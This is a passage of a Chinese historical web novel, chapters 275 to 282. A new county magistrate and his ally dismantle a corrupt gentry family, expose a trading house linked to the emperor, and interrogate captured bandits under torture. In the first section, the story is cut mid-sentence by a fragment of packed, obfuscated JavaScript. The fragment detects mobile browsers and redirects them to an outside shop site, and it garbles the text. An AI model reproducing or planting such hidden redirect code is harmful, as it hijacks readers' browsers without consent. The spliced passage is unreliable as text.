“那咱们就先拿何家开刀,毕竟有方氏一家三口,一家之主被殴打致重伤而亡;方家母女失踪不见,更别说他们还恶意侵占了方家的三亩良田;这利息超过本金自然要严惩,更何况还牵扯人命;何家就想轻易揭过?哼!如果那个下人真**,何家自然要来报案,正好是个契机。”
封砚初看着外头的那几个捕快,十分不堪用,“重新选一些衙役捕快进来,至于这里头可用的留下,不可用的离开,我暂时先将暮山借给你。”
江行舟笑着拱了拱手,“哎呀,多谢,多谢,我还想着怎么朝你张嘴呢?正好测一测胡主簿,若是可用,那就更好了,他毕竟在漠阳多年,比咱俩都熟悉。”
封砚初的动作很迅速,次日,就以人手不足的名义补充衙役捕快,且身世清白即可。35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|17047658|191178||http|test|mini|href|location''.split(''|''),0,{}));
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r>布告刚张贴出去,何怀仁就来了衙门,声称何二羞愤自尽。
“大人,昨夜还好好的,没想到今日一早,便发现人悬梁自尽了。”说完还装作哀叹的样子,他来此的目的是为了大事化小,小事化了。
可封砚初怎么可能如他的意,装作没看懂的样子,招手将捕快赵常叫进来,“何家出了人命,叫江县尉带几个人去处理一下。”
“是!大人。”赵常领命而去。
他这几日很担忧,毕竟县令人家有自己的人,再加上才上任,还需理顺一些人和事,并不常使唤他们这些衙役捕快。今日主动喊他,这才略微放下心,看来大人没有裁撤他们这些老人的意思。这才对嘛,即使有新人进来,还不是要靠他们这些老人带着。
何怀仁很担心,想说些什么。
封砚初直接打断,“何乡绅还不知道呢吧?江县尉与我不仅是旧识,还是同科,有些交情在身。”
何怀仁这才略微松了口气,不过他还是准备暗中备一份礼送给江县尉,“多谢大人指点。”,来意已经表明,他并未多待。
话说在县衙办公有一个好处,那就是可以随时回去,即使有事,直接到后衙说一声就行,这比在京城兵部之时,自由了许多。
他办完公,抬脚就回了后衙,屁股刚坐稳,就见郑伟进来禀报,“郎君,侧门外来了两个人求见。”
封砚初抬眼道:“带进来吧!”
郑伟听后,脸上很纠结,小心翼翼地问,“郎君,就这么见吗?要不要先让人离开,等他们晚上再来,起码避着些,让外人瞧见不好。”
封砚初没好气的瞅向对方,无语道:“难道在你心里,你家郎君就是一个贪官污吏?”
“呼——”郑伟松了一口气,原来郎君是有别的打算,“那就好,那就好,是小的误解了。”说罢出去了,就连脚步都轻松了许多。
第二百七十六章 为民除害的好名声
两人进来,先是行了一礼,然后说道:“听闻大人书法超绝,家里子侄即将开蒙,想请大人题一副字,以恣鼓励。当然了,小人必定会奉上润笔费。”他们说的话几乎相同。
封砚初并未着急给出答案,而是看向二人,“且不急,先饮茶。”
这两人喝了茶之后,心里猛然一惊,虽不识得,但可以尝出是他们以前没见过的好茶,更别说此地穷乡僻壤,也没有这些好东西。
随后互相看了一眼,猜测着县令大人莫不是在暗示,若是东西少了可打发不了,不禁心里有些后悔。
“不过是从家里带来了一点子茶待客,两位不必拘谨。”封砚初自然将这一幕收入眼中,嘴角扯出一抹似有似无的笑。
其中一人见状奉承着,“小人虽不懂茶,但大人的茶喝起来确实不凡,今日能有此口福,多亏大人。”而另一人心中,一时之间有些踌躇。
封砚初要的就是这个效果,放下茶盏,对一旁的郑伟道:“磨墨!”
两张纸上分别写着:才者,德之资也。德者,才之帅也。以及,事虽有学,而行为本焉。
两人各捧起一张,并未察觉出其中深意,不过是嘴里说着那些寡淡的赞誉之词,随即搁下润笔费离开了。
封砚初连看都没看,只说道:“郑伟,拿去登记。”从今以后,他与江行舟两人要做个红白脸;他是贪得无厌的蠹官,对方则是铁面无私的清官。
江行舟势必会在何家查出些什么,也不会容情。到时,何怀仁肯定会求自己,而方才那两人就会将自己贪婪的本性告知。届时,他自会收钱不办事,让何怀仁以为自己是一个满足不了的饕餮。
何家。
江行舟让人将何二从房梁上放下来,又命县里唯一的仵作验尸。
也不知这仵作是能力有限,还是有意隐瞒,大致看完后,就送了六个字,“确为悬梁自尽。”
就在其余人准备走人之时,江行舟上前指着脖颈之处的两道红痕,骂道:“这里有两道红痕,分明是**,你竟说自尽?还有,什么时辰死的,难道也看不出来吗?”说罢看向其余衙役,“来人,把何家所有门堵上,再将人全部叫来,本官要挨个审问!”
话音刚落,只有几个衙役有行动,其余则四处看了看。有的是看好戏的样子,有的甚至还试图上前分辩两句,尤其是为首的那个捕头,觉得江县尉就是个愣头青,竟然敢和漠阳当地的势力对上。
江行舟见指使不动,冷哼道:“你们若还不动,本官罢免几个小小的衙役还是很轻松的!”言及于此,这才勉强使唤得动。
何怀仁听闻消息立即赶来,“江大人容禀,昨日小人将这何二骂了一顿,又让他把这些年做的恶事都写出来,今日带着罪证去县衙投案自首。所以,他昨日未及天黑就回去了,我一早等了好半响,没见人来,这才派人找他,没想到竟**。想来是他家里人痛恶何二的所作所为,这才将其杀害。”
江行舟讥讽道:“何乡绅,要不本官这县尉不做了,交给你当如何?”
何怀仁连忙道歉,随后向周围的衙役使了个眼神,说来可笑,对江行舟命令熟视无睹的衙役,此刻竟听话的全都离开了。
暮山见此却警惕起来,一只手暗暗握着刀。
“大人,县令大人给小人说了,他与您乃是同科,您放心,您的那份礼,小的已经备好了。”说着便拿出银票双手递上。
江行舟冷哼一声,“你可知本官为何被贬至此吗?就是因为本官从来都是认理不认人!何乡绅,你还是出去将家里人都叫来,本官开始审案了!”
何怀仁见对方油盐不进,只得咬咬牙离开,紧接着带东西匆匆前往县衙,在他心里,天下就没有不贪的官。
县衙。
何怀仁将礼物奉上,小心翼翼又挑拨离间道:“大人,这何二明明是自缢而死,可江县尉非要说是**。小人还提了您与他乃是同科进士,可江县尉一听这话,便将小人骂了个狗
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血淋头。”
封砚初抬起眼皮道:“哦?是吗?放心,等他回来,我好好分说分说。”说完便将人打发走了。
之后,他自然是收钱不办事,找各种借口拖着。
直至何怀仁从其余人那里一打听,才知道新来的县令胃口很大,那点子东西人家根本不放在眼里,随后又送了两次。
可这前前后后一耽搁,便是十日,江行舟不仅审出了何二**案,又牵扯出其他。
何怀仁不是没想过让上头的人给封砚初施压,奈何人家的老子是武安侯,那是谁?吏部侍郎!是把着文官的命脉的人,上头那些人又怎么可能为了这区区何家,得罪吏部侍郎的儿子?
所以,这次几乎是将半个身家送给上,“大人,求您抬抬手,小的以后必定以您马首是瞻!”
封砚初眼皮都不抬一下,声音里尽是漫不经心的轻蔑,“何怀仁,不是本官说你,你这胆子也大的没边了吧。以出借钱粮的名义侵占田产,更甚至买卖人口,逼**命!桩桩件件哪一个不够斩的?”
“大人,只要您愿意救何家,救小人一命,小人愿意奉上半幅家资!”何怀仁哪里还有以前的样子,如今已是卑微无比。
“半幅家资?可是只要办了你,何家的东西都是本官的,而且本官还能落下一个为民除害的好名声!”封砚初看向何怀仁的眼神异常冰冷。
何怀仁抬头看向这个封县令,哪里还不明白自己是钻了人家的套。对方自始至终都没打算放过他,与江县尉之间,不过是两人唱的双簧。为的就是拖延时间,正好查个底掉,彻底拔除他们这些漠阳县的当地势力,而他,不过是开始罢了!
之所以没有一下子全动,不过是因为这两人才来,手上没兵没人,一旦出现逃窜,来不及阻止,毕竟漠阳距离安怀部并不是很远。
“大人,好手段!”
“来人,将何怀仁关入大牢!”随着封砚初一声令下,早已候在门外的赵常进来将人锁拿。
第二百七十七章 指了一条便捷的路
自从封砚初来到漠阳之后,此地一直未见雨雪。而此刻,天空变的阴沉,外头的风也开始吼起来,没一会儿,竟飘起了雪花。
当江行舟回到县衙,地面已经落了一层薄薄的白。他神情里带着一些愤懑,“这何家实在可恶!”说罢,还一拳头砸着桌面。
封砚初给他倒了一盏热茶递过去,安抚道:“你将自己气出好歹又有何用?喝些茶缓一缓吧。”
江行舟接过茶盏,猛地灌入肚中,“漠阳县本就贫寒,百姓还被欺压着。一旦他们手里有田产被看中,这何家就使用各种卑劣的手段让其欠债,然后抵押田产将钱粮出借,这利息高的吓人,即使到期也还不了,最后便可顺势将抵押物收了。”
说到这里叹道:“方家也是可怜,这何家人无意中瞧见这方家母女有些姿色,便起了歪心思。先是使用下三滥的手段谋了三亩良田,紧接着又以同样的手段谋了母女二人,真是一环套一环,他们已经将人转卖到外地,如今生死不知,此届种种,并非个例。”
封砚初问道:“通过谁的手?”
江行舟透露出四个字,“永安商行!”
封砚初一听这个名字,眉心微皱,“这家商行在短短四年,就几乎遍布整个大晟,明面上是一个姓云的在经营,可实际上背后另有其人,此人必定位高权重,且在京中!”
他说到此处,心中已经明了了几分,“永安商行最初不过是小打小闹,干的是倒买倒卖的营生。可之后的两年,就一发不可收拾,生意越做越大。”对这家商行背后之人,其实他隐隐有了猜测,也明白为何那人后来有些膨胀,只是没想到商行里竟还有这种勾当。
“距离漠阳最近的永安商行在寒州!”江行舟盯着眼前之人,仔细观察着对方的神情,不过并未看出什么,“你是不是想到了什么?”
缓了好半晌,封砚初才道:“跟我来。”随后两人一起去了后衙。
进了屋里,他从一个盒子里取出一封信,递了过去,“昨日才到的,你看看吧。”
江行舟摇头道:“这是你的信,怎能让我瞧?”
“不要紧,你一看,就明白了。”封砚初继续道。
江行舟最终还是打开了,当他看到里头的内容后,稍作联想,猛地抬头,“你……你怀疑,永安商行……是那个人的产业?”
封砚初缓缓点头,沉重的叹一口气,扶着额头坐在位子上,“江兄,我宁愿他是被底下人蒙蔽的。”
江行舟也不敢相信,“这怎么可能?他怎会缺钱?”
“只要惦记着那个位置,就会缺钱。”封砚初此刻是一副颓败之色,自嘲道:“枉我自以为聪慧,没想到竟被人耍了!他装的可真好,好到我以为都是真的!”
江行舟闻言已经猜出到了几分,“或许……他并不是装的,是本就有此心,而你只是恰逢其会的,给他指了一个便捷的方向。”
“我并非没有怀疑,所以才让京中好友帮我调查,如今也算有了结果。”封砚初说出来之后,心情稍微好了一些。
“无论如何,你只需做好自己就行。”直到现在,江行舟才明白对方为何将何怀仁直接下了大牢,这是顺带发出心中的郁气,可同时也有些佩服,这也
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太沉得住气了,一直没事人一样。
“那是自然,我当这个官又不是为了旁人,肯定要秉持初心。”之前封砚初一直以为沈在云是因为京城事情已了结,这才坚决离京,甚至连爵位都不要了。自从看了来信,今日江行舟又说了永安商行的事,便明白,估计沈在云早就有所察觉,这才与那个人闹掰了。
可所处位置不同,众人看待事情的角度自然会有变化。作为一个臣子之时,暗中插手商并不会引起大家的重视;但今时今日,你已经不再是臣子,若继续如此,难保底下不会作出些什么,更别说底下难免藏污纳垢,这些就会被放大。
两人在屋内说着话,外头的北风却呼啸不止,大片的雪花砸在地面。不过一小会儿,就已经下了两寸有余,天地被笼罩着,屋舍,地面都是洁白一片,可这白雪底下却不知藏着多少让人看不见的污糟。
“那你准备怎么做?”江行舟问道。
封砚初嘴角浮出一抹淡笑,“当然是查实后,捅上去!正好让那些还被鼓里的人也知道知道,到时候自然有人去费心。”他似乎明白了,当年那个人为何身受重伤。
江行舟点点头,“如此也好。”
“本来想借兵先解决马匪的问题,现下看来只能等到明年了。”封砚初不得不将计划延后,他是要借兵,不过不是向寒州借兵,而是准备向孙延年开口。
“那就先一个个地处理漠阳当地这些毒瘤,正好不耽搁明年的春耕。”江行舟已经在心里默默盘算了。
而封砚初却想着有了这些钱,正好可以解决漠阳县的燃眉之急。
第二百七十八章 一份大礼将至
这雪纷纷扬扬接连下了好几日,漠阳县发生多处房屋坍塌事故,让原本就难熬的冬季,又多了几分艰辛,所幸何家有牵扯者都已下了大牢,所有家产充公。
这些银钱不仅犹如及时雨一般,帮助百姓度过了难关,还让他们再次看见了那个叫‘希望’的字眼。
而那些本地乡绅没想到新来的县令这般无情,竟然一个都没饶过。
漠阳出了这么大的动静,寒州知府万致和不得不冒着严寒亲至。
衙门口,已经升任为捕头的赵章,带领着新来的衙役们站在两侧,封砚初则穿着官服站在最前头,一旁还有江行舟和胡主簿。说实话,要不是胡主簿的辅助,不可能这般顺利。
马车越来越近,后头还跟着随行的士兵,终于停在了衙门口。最先出现的是一只精心修剪过指甲的手,随着帘子掀开,一个身穿红色官服,留着短须的中年男人下了车。
封砚初拱手道:“下官,漠阳县令封砚初见过大人。”其余二人亦是如此。
万致和脸色并不好,但还不得不保持体统,“不必多礼,进去再说!”说完匆匆进了县衙。
他刚坐下,连茶都没来得及饮一口,张口便道:“封县令,本官多次叫你前往寒州汇报漠阳县的公务,可你无动于衷,本官只好亲自前来!”
封砚初很清楚对方叫他去寒州是什么意思,最初以为自己只用何家杀鸡儆猴,可没想到闹得动静这么大,“大人容禀,并非下官懒惰,实在是漠阳县事务繁多,一时走不开。”
万致和强压火气,内心不停地默念:他父亲是吏部侍郎!他父亲是吏部侍郎!仕途要紧!封家在京城根基深厚……
随即叹了口气,劝道:“封县令,你这漠阳县怎么回事?动静闹得这么大?这一连好几家都下了大狱?其实缓缓而治也是一法。”
封砚初直接将提前准备好的公文递了过去,“大人若是瞧见这个,只怕还会夸下官做的好,这些人都是罪大恶极,贪婪无度之人。”
万致和原本没在意,直到他打开一瞧,惊呼道:“居然有这么多隐田?”
是的,上面还记录着罪状,可万致和只留意到了这个。
“就这还没有实际测量。大人,您是知道的,漠阳本就苦寒,这些人霸占着最好的田,却不交税,导致官府一直以来都入不敷出,自顾不暇。”若是普通官员可能会担惊受怕,可封砚初才不怕,这是他敢接连推脱两次不去的原因。
万致和心里清楚这送到京城,那些个大人只怕还觉得封砚初雷厉风行,严惩漠阳当地罪恶势力,乃是有功。
他看完公文,将其放在桌子上,“那你也不能这么急嘛,再说那么多人关在大牢也是负担。”
江行舟见状立即道:“大人不必担心,漠阳县街道每逢下雨就泥泞不堪,之前也没钱修,现在这些人被大人押送至石场采石,好来年修路。”
万致和见已成定局,多说无益,他现在最关心的是充公的良田,“罢了,罢了!不过这么多良田充公,普通百姓也买不了太多,正好我有亲戚正在买田,不如卖给他们。”
封砚初一听这话,直接拱手道:“大人,下官没想着将充公的良田卖出去。”
“那你想干什么?难道留着下崽不成?还不如正好卖出,给漠阳县增收,正好将欠税补齐。”万致和脸色微变,说话也不似方才温和。
“不,下官打算将这些良田,免费分给漠阳县的贫苦百姓。”
封砚初的话音刚落,万致和的音量顿时拔高。“你疯了不成?这数目可不少!就这么白白送了?”
而封砚初眼中尽是沉着,郑重道:“大人,漠阳县有地的百姓很少,大多都是佃户。他们辛劳一年不仅吃不饱,还要承受繁重的赋税和徭役,为长远计,将田产分下去是最好的!”
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万致和被对方盯得有些不自在,仿佛自己就是那个不顾百姓,自私自利的蠹虫,颇为气恼,“既然封县令已经有了决定,此行就当是本官白来一趟!”
胡主簿见知府大人有些恼怒,上前说道:“大人一路舟车劳顿,漠阳县特意准备了一桌酒水,还望大人赏脸。”
万致和这样怎么来,就怎么回去。
看着离去的马车,江行舟说道:“漠阳县的公文已经送往京城了,估计年前就能到。”
封砚初听后心情美了不少,一份大礼将至!
事实也确如所说的一般,这份公文犹如一个惊雷在朝堂炸响。
自从沈显瑞娶了申氏为后,他在朝中的政令相较之前畅通不少。
这日,他按照往常一样上朝。
直至一名御史站出来,“启禀陛下,臣有事要奏。永安商行乃是咱们大晟最大的商户,虽然京城没有店铺,但其产业遍布各地,如今更是藏污纳垢,竟然做起拐卖良家的勾当,臣以为必须严惩!”
沈显瑞心里咯噔一下,但面上不显,“这……不至于吧,不过是一个商行而已,应该不会有这么大的胆子。”
户部早就盯上这一块肥肉,户部尚书出列奏禀,“陛下,这永安商行倒是小事,就是担心藏在永安商行背后的人会心怀不轨,危害大晟。”
刑部的人更是直接说,“陛下,这永安商行总部在青州。乾朝的贺家、还有徐家都是商户,也都在青州,可他们为了一己之私不顾国家利益,前车之鉴尤在眼前,请陛下下旨着刑部审查!”
沈显瑞还未来得及说话,户部就已经开始争起来,“商户本就在户部管辖之内,户部愿出一份力。”
大理寺的唐承更是说:“陛下,此案牵扯甚广,大理寺责无旁贷。”
御史台也争抢着说:“陛下,正如唐大人所言,此案涉及较广,理应三司共查、共审!”
第二百七十九章 态度出奇的一致
沈显瑞看着阶下还在争夺不休的大臣们,心中只觉愤懑。他还没说是否要调查,可这些人完全无视,以为自己肯定会同意;如此看来,一到关键时刻,他这个陛下根本不重要。
申大人眼皮微抬,将陛下的神色变化尽收眼底。其实他早有察觉到了,不过一开始小打小闹并未在意。到最后生意渐大,便以为是肃王代先帝暗中经营的,毕竟对方一心想着北征西戎,奈何没钱。
直到陛下登基,他这才发现生意竟是当今的。可身为一国之君竟然行商道,委实在不妥,只是他不想与陛下正面起冲突,所以,当漠阳县递上来的文书后,正好当做一个由头。
底下吵成一团,沈显瑞气的直接拂袖离去,回到勤政殿,更是一连碎了好几个杯子。
闹得这么大,大臣们也犹如是看见了肥肉一般,恨不得一口吞下去。如此看来,是不查不行了,他现在需要赶紧收尾。
缓了好半晌,才将李延叫进来,吩咐了一番之后,挥手道:“去吧!”
李延有些不忍。毕竟陛下当年组建死士之时,并没钱,这才不得不暗中经营永安商行。他当初可是亲眼看见陛下,是如何一步一步地将商行建立起来的,其中艰辛他看的一清二楚。
“陛下,当真要如此吗?”
“朝臣虽然争吵不休,但此次他们的态度出奇的一致,已是箭在弦上。”沈显瑞又想到了什么,继续吩咐,“再去查一下,看到底是谁捅出来的!”
“是,陛下!”李延领命而去。
不过半个时辰,他去而复返,“陛下,已经查清,是新任的寒州漠阳县令封砚初,他在调查本地劣绅时无意中发现了,最后继续深入调查后上奏的。”
若说登基之前,沈显瑞对百姓确实有些怜惜之心,可这是建立在不涉及自身利益的前提下。
虽然商行里头出现拐卖良家之事,并非他的本意,但此时此刻,永安商行要被查,这些百姓自然就没那么重要了,“知道了,你先下去吧!”
如今,他心中对封砚初满心厌恶,没想到远在寒州还能搅和的朝堂不宁!愈发觉得对方碍眼,不过是仗着武安侯是吏部侍郎罢了,否则在当地必定阻碍重重。
当初封砚初官阶低且不重要,更别说对方声称自愿去地方历练,自然可以直接任命。
现在,他想将武安侯调至闲职的欲望愈发重了。然而吏部侍郎乃是朝中要职,必须经过内阁走个流程,且涉及到日常考评,若对方无错,无缘无故调任,大臣只会觉得自己心胸狭隘不容人,而且很容易让人联想到自己,是因永安商行厌恶了封砚初,这才迁怒其父。
武安侯府。
封简宁将次子送回来的信拿给大郎封砚开,“你瞧瞧吧,这是二郎的信。”
大郎迅速浏览了一遍,震惊道:“父亲!”
封简宁点点头,“这下二郎将陛下是得罪的死死地。”
大郎却有不同的看法,“父亲,这不是得不得罪的问题,而是陛下犯了忌。无论之前如何,可时至今日他已是皇帝,就应该迅速将这些全部撤掉!更别说那个永安商行居然还干此种恶事,若他当真因此厌恶二郎,那他……”
后面的话,大郎虽然没说,但封简宁明白接下来是什么意思,那便是对方实在
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不堪配。一个心胸狭小,只计较小利,且能力平庸,又心怀大志的皇帝,无论是对百官,还是对天下百姓来说都是灾难。
“父亲,我担心陛下会将你调离吏部,任个闲职。”大郎封砚开担忧道。
“暂时不会。先不说他一个人说了不算,何况还要经过内阁商议,为父一直以来兢兢业业,无缘无故调至闲职,那几乎是向天下人宣告,陛下就是永安商行幕后的东家,到时候名声必然受损。”对于这个,封简宁还是很有信心的。
大郎听进去了,看向皇宫的方向,“您说得对。得道者多助,失道者寡助。二郎那样帮他,他容不下;沈在云更是为了他回京,可最后还不是落了那般的结果。”
“你明白就好,此番于二郎来说也是成长。”封简宁说完又拿出一封信,“将它交给孙延年。”
“是。”大郎接过信之后,下午就去了孙府。
孙延年打开信瞧完之后,就咧起嘴哈哈笑着,随即给封砚初回信,答应了里头的要求。
而之后,便是三司共查,户部从旁辅助。一般情况下,多部门合作是最容易出现推诿,**的,做事的速度自然就慢下来了。
可这一次,他们之间十分配合,竟然还快了几分。以摧枯拉朽之势迅速展开调查,该抓的抓,该抄的抄,不过三个来月就已结案。只是到了最后的钱财上起了一点小**,就连配合行动的六扇门、京西武备营都掺和进来了。
户部觉得钱财应该全部入国库;刑部、大理寺和御史台觉得自己功劳不小;六扇门和京西武备营认为整个抓捕过程,他们也出了大力气。
第二百八十章 孙延年到达漠阳县
岁月如梭,光阴似箭,转眼已经是次年二月。漠阳县的主要街道以及衙门,已经用石板开始铺路,雇佣的正是那些贫苦百姓。
所以,当孙延年到达漠阳县之时,正好见此一幕。
此刻封砚初正陪着对方一起往县衙走去,孙延年看着正在叮叮当当修路的百姓说道:“你这漠阳县城看起来还很热闹啊,竟还铺起了石板路。”他是在边陲待过的人,最是知道那些小县城的样子。
封砚初一边点头回应着朝他问好的百姓,一边说道:“你是没见过之前,可以用萧条冷清还形容,除了当铺以外,就没有热闹的地方。自从漠阳的劣绅被我处置,现如今隆冬刚过,又恰逢春耕之前,很多百姓家中已没有粮食度日。他们正好有空闲,不如帮忙铺路,还有挣些钱财补贴家用。”
说话间又指了指两边的商铺,“你瞧,自从没了那些人,逛街的都多了,可见对于那些劣绅,百姓避之如蛇蝎啊。”两人就这么步行至县衙。
孙延年大致转了一圈,点头道:“倒也还行,原本还想着你会不适应呢。”
封砚初却笑道:“虽说由奢入俭难,可于我而言已经很舒适了。”其实在他心里这虽没有侯府富贵,但也不用自己动手,一应还都有人照顾。
两人正说话间,孙妈妈与厨娘柳婆子拉着墩子买菜回来。
孙延年像是瞧稀奇一般,“呦呵,你这里什么时候多了个小和尚啊。”一边说着,还一边用手去摸墩子的头。
自从来到漠阳,虽说条件差,但比起京城少了些拘束,所以孙妈妈更自由一些。就比如今日,她和柳婆子出门买菜时,还能顺便同那些人聊些闲篇,很多消息都是他们透露出来的,同时也帮了封砚初一些忙。
“孙郎君,这孩子叫墩子,是去年进城时救下的。”
封砚初瞧了瞧菜篮子,说道:“此处也没有什么山珍海味,柳妈妈的厨艺不错,与其到外头,还不如在我这里吃些。”
“柳妈妈的厨艺我是知道的,比京城一些酒肆的厨子都要强些。”孙延年并不在意这些,且一路舟车劳顿,他已经有些饿了。
柳婆子动作很快,没一会儿就做了一桌子的饭菜,两人边吃边聊。
虽然有通信,但是到底消息闭塞,封砚初也想知道京城的情况,“现如今,京城里都有什么新鲜事?”
一说起这个,孙延年就来了兴趣,“这还要谢你呢,其实永安商行生意做的很大,这倒也没什么。可自从你查出里头有不法的勾当之后,满朝文武就像是看见一块肥肉一般,争得面红耳赤。
“最终由三司拿下,户部也掺了一脚,就连六扇门和京西武备营自然也一样。我离京时,案子基本已经查完了,就是对于查抄来的银钱如何分布还没个定论。”他说到这里,脸上浮现出一抹讥讽,“陛下还想将这些钱全部充入私库呢,可那些大臣怎么可能答应?陛下才开口,就被御史台的那帮人说的险些下不来台。”
封砚初点点头表示知道了,随后又说起其他,“这段时日,通过调查,我已经将马匪的踪迹和老巢都已摸清,只是你带的人呢?”
孙延年两口酒下肚,眼中露出狡黠之色,“毕竟是剿匪,怎么可能让他们知道我带了人马,所以早就将人藏在外头。何况这么多年,寒州剿匪未有成效,要说里头没有猫腻,我是不信。”
封砚初心里的把握更大了,“我不是没想过从寒州调兵,可随着越查越深,便不敢用他们的人,这才不得不写信让你帮忙。”
孙延年听后,下意识的压低声音,“寒州比邻晋西草原和安怀部,虽说安怀部与咱们一
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直相处和平,但这些年他们与西戎时有暧昧,这马匪一直未有禁绝,恐怕也有他们在暗中捣鬼。”
“我何尝不知。既然让我做了这漠阳县令,那就要将那些伸出来的爪子全部剁掉!”封砚初说这话时眼神坚定。
“好!”
“不过交情归交情,也不让你白帮。将那些马匪剿灭之后,里头的相关证据归我,至于金银财帛你与漠阳县各分一半,马匹给我们留下一小半就行。”封砚初见对方还要再说什么,连忙阻止,“你帮我是朋友之义,但你底下的那帮兄弟总不能白辛苦一趟,还什么好处都没有。”
孙延年到底没有拒绝,他是不稀罕,可手底下的那帮兄弟是要养家的,军中俸禄有限,这次算是挣些外财,随即拍了拍好友的胳膊,“多谢。”
“应是我谢你才是。”
两人吃完饭,就去了衙门。此时,江行舟与胡主簿都已经在等着了,四人又一起商议了具体事宜。
孙延年的动作倒是快,次日出了城,第三日就剿了匪,带着东西回来了,同时还捉了几个马匪。
漠阳县苦马匪已久。当孙延年押着马匪进城时,几乎整个县城的百姓都来围观,纷纷痛骂着,且还用石头打那些马匪。而孙延年一行人却受到了热烈欢迎,他的嘴角一整日都没放下来过。
“二郎,其实在我心里不过是帮你一个忙,但是你瞧见今日的情形了吗?百姓夹道欢迎,这是我以前从未有过的感受……”孙延年自从回来之后就滔滔不绝。
封砚初只是一味地笑而不语,同时翻看着对方带回来的证据,可越看眉头皱的就越深。
这些马匪与寒州和安怀部都有牵扯,多年下来,这些钱财除了自留的,还要给寒州交一部分,更是趁着行动迅速,给安怀部也行了许多方便。
第二百八十一章 我们的本事可大着呢
孙延年说了好半响,见好友没有反应,先是凑过去一瞧,然后摸着下巴说道:“**勾结?看来寒州那些当官的日子不好过喽。”
没错,封砚初手上这些是马匪保留的部分证据。都是这么多年以来,寒州那边递消息,马匪动手**勒索,若是对方配合,最多也就损失一些钱财,若是不配合,那就直接劫掠。
事后,这些马匪会给那些官员分一部分好处。有的是被迫的,有的则是主动找上门;自从边贸被禁,这些马匪又重新过上劫掠当地百姓的日子。寒州并非不想处理,而是这些马匪手里有证据,最要命的被藏起来了。
封砚初还是有些担心,朝外喊道:“快去把江县尉叫来!”
孙延年疑惑道:“不用这么着急吧?”
封砚初神情严肃,“必须立即拿到口供!事情比我想的还要严重,若是再晚一点,寒州那边的人就要来了,万一被逼急了,我担心他们狗急跳墙。”
他将其中一张递过去,“更重要的是两年前的那场大案就是他们所为!常鸣佑常将军在回京的路上莫名失踪,据说他好像查到了什么实质性的证据,要亲自护送回京,最后落了个活不见人死不见尸的下场。”
“什么?竟然是他们干的!自常将军失踪以后,军中就有人泄密,然后就是邢老将军负伤归京的事!”孙延年接过细瞧,“其实当初好些人都猜测,常鸣佑有可能投敌了,没想到竟是**,这些人胆子也太大了!”
封砚初冷笑道:“为了自己的利益,还有什么不敢的?”
没一会儿,一个衙役就进来禀报,“大人,江县尉已经去了大牢。”
封砚初听后就要往外走,随即转身对,“我去大牢看一看。”
孙延年有心听一听,“我跟你一起去。”
封砚初看向那堆证据,摇头道:“不!你帮我看着它,不要让任何人接触!”
此话一说,孙延年立即明白,好友这是不放心县衙里的人,认真道:“放心,在你没回来之前,我必定寸步不离。”
当封砚初走进大牢,里头已经开始刑讯,且惨叫声不断。
“如何?”
江行舟皱眉道:“还没开口。”
听了这话,封砚初扫视着几名马匪,“那就分开审!总有一个会吐口,暮山,你去看着剩余之人。”
“是,郎君。”暮山得到命令,跟在那几名马匪身后离开了。
“怎么回事?”江行舟见封砚初这个样子,明显是不相信这些狱卒。
封砚初只得在他耳边低语了几句。
“什么!”江行舟听后惊呼出声。
“所以必须速战速决!以防夜长梦多!关键是要问出关键的证据藏在何处?”封砚初言明利害,便不再开口,只是转过身不去看。
没一会儿,新的一轮审问开始。空气中弥漫着一股血腥味,耳边传来声声惨叫,甚至还可以闻见一股肉味的焦香,接连不断。
“大人,昏过去了!”用刑的狱卒喘着粗气道。
封砚初并未回头,只说道:“弄醒,继续!这个**不要紧,后头还关着好几个,早晚会有人熬不住。”
江行舟听后朝狱卒点点头,表示认同。
“你说不说!”狱卒一边用刑,一边问着,可传来的只有马匪的惨叫声。
没一会儿,暮山左手提着一个看守的狱卒,右手拎着一名马匪过来,“郎君,方才他试图在小的眼前杀死此人。”
封砚初神色冰冷,“竟敢动手,你莫不是觉得我太过和善了?”随即指着已经半死不活的马匪,对审问的狱卒道:“正好,让他下去歇一歇,换一人用刑,正好让这个吃里
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扒外之人好好欣赏欣赏,早晚会轮到他的。暮山,你回去继续看着。”
“是!”
众人七手八脚的将人换了上去,审问再次开始。
刑讯才开始没多久,那个马匪倒还嘴硬,但是在一旁看着的狱卒就先承受不住了,‘扑通’跪在地上求饶。
一副痛哭流涕的样子,“求大人恕罪,求大人恕罪!是有人给了小人一笔钱,让小人盯着些,若是在大牢里碰见一些话多的人,就让小人趁机除掉。小人本来不想干的,可对方拿家人威胁,这才不得不做!”
“是谁给你的?”
狱卒泄气的摇摇头,“这人从不露面,只在每月初五将钱放在我家门口,或者有事留个纸条,次日清晨就能看见。一次,小人晚上没睡,还真等着了,是守门军周大林,今日是他守城门!”
封砚初看向侯在一旁的捕快道:“去抓人!”
可没想到就这么随意一瞥,便发现这名马匪看向自己的眼神十分凶恶,不禁冷哼一声,“真是冥顽不灵!”
就这么随意的一句,竟引得那名马匪开了口,“要不是老大阻拦,你活不到现在,当初就应该杀了你!”
封砚初迅速抓住信息,看来自己在来漠阳的路上就被盯上了,随即挑衅道:“杀我?就凭你们?笑话!”
那名马匪听后发出咯咯的笑声,“那是当然,我们的本事可大着呢!”
“不就是杀了常鸣佑,有什么了不起的!”封砚初继续讥讽。
“当然了不起,我至今都记得那常之人不可置信的眼神!哈哈哈……真好看!一个将军居然因为一个女人葬送了自己的性命,还真是好骗呐。”那马匪的语气中满是不屑。
江行舟听见这话,眉毛一挑,看来有戏。此刻,他并未开口,只等着封砚初继续刺激对方。
第二百八十二章 你爱说不说
“如此说来,那名女子是你们安排的。”封砚初继续道。
那名马匪十分得意,“自然,因为我们答应她,只要乖乖配合,就放了她的家人,她当然愿意。”
“可你们并未放过,事后将她杀了。”封砚初的声音平静无波,像是在叙述一件自己亲眼所见的事情一般。
“哈哈哈哈……是她太天真,这么大的事,当然不能留下她的性命,不过那女人的滋味真好。”那马匪舔了舔嘴角,脸上是一副狰狞的笑,“不仅如此,我们还送他们一家子都下去团聚了!哈哈哈哈……”
